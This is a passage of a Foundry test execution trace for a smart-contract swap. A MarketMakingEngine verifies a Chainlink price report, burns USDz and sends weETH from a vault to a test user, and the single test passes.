│ │ │ └─ ← [Return] Chainlink Fee Manager: [0x47f315e493016E06bDb51cF676C130D270695aa6]
│ │ ├─ [142] Chainlink Fee Manager::i_nativeAddress() [staticcall]
│ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000
│ │ ├─ [1174] Chainlink Fee Manager::getFeeAndReward(MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], 0x000362205e10b3a147d02792eccee483dca6c7b44ecce7012cb8c6e0b68b3ae9000000000000000000000000000000000000000000000000000000006426228000000000000000000000000000000000000000000000000000000000642622800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642622850000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e0, 0x0000000000000000000000000000000000000000)
│ │ │ └─ ← [Return] FeeAsset({ assetAddress: 0x0000000000000000000000000000000000000000, amount: 0 }), FeeAsset({ assetAddress: 0x0000000000000000000000000000000000000000, amount: 0 }), 0
│ │ ├─ [1805] Chainlink Verifier::verify(0x2be474967e88dc2edd1e9bb256d97c9e20fe2da2e7ba036ac97d8a8ec18096126c4e524ddd1a9d9ef7d40d714a1df1d9d08fe07c489b5d0a93da4552d683ffa55f320e8791952e05253f72ce0f26c053e955e4936f096b0837635671e4ced9c500000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000120000362205e10b3a147d02792eccee483dca6c7b44ecce7012cb8c6e0b68b3ae9000000000000000000000000000000000000000000000000000000006426228000000000000000000000000000000000000000000000000000000000642622800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642622850000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e0, 0x0000000000000000000000000000000000000000000000000000000000000000)
│ │ │ └─ ← [Return] 0x000362205e10b3a147d02792eccee483dca6c7b44ecce7012cb8c6e0b68b3ae9000000000000000000000000000000000000000000000000000000006426228000000000000000000000000000000000000000000000000000000000642622800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642622850000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e0
│ │ ├─ [1721] ERC1967Proxy::fallback() [staticcall]
│ │ │ ├─ [1349] ZlpVault::totalAssets() [delegatecall]
│ │ │ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ ├─ [7856] USDz::burn(2000000000000000000000 [2e21])
│ │ │ ├─ emit Transfer(from: MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], to: 0x0000000000000000000000000000000000000000, value: 2000000000000000000000 [2e21])
│ │ │ └─ ← [Stop]
│ │ ├─ [27595] weETH::transferFrom(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5], MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], 666666666666657468 [6.666e17])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5], to: MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], value: 666666666666657468 [6.666e17])
│ │ │ └─ ← [Return] true
│ │ ├─ [5260] weETH::transfer(Perps Engine: [0x059C5B023B577e82C346721653420711bFbdE3f9], 0)
│ │ │ ├─ emit Transfer(from: MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], to: Perps Engine: [0x059C5B023B577e82C346721653420711bFbdE3f9], value: 0)
│ │ │ └─ ← [Return] true
│ │ ├─ [25160] weETH::transfer(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], 666666666666657468 [6.666e17])
│ │ │ ├─ emit Transfer(from: MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], to: Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], value: 666666666666657468 [6.666e17])
│ │ │ └─ ← [Return] true
│ │ ├─ emit LogFulfillSwap(user: Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], requestId: 1, vaultId: 1, amountIn: 2000000000000000000000 [2e21], minAmountOut: 0, assetOut: weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], deadline: 1680224400 [1.68e9], amountOut: 666666666666657468 [6.666e17], baseFee: 0, swapFee: 1, protocolReward: 0)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [582] weETH::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 666666666666657468 [6.666e17]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 728.26ms (707.95ms CPU time)
Ran 1 test suite in 1.42s (728.26ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)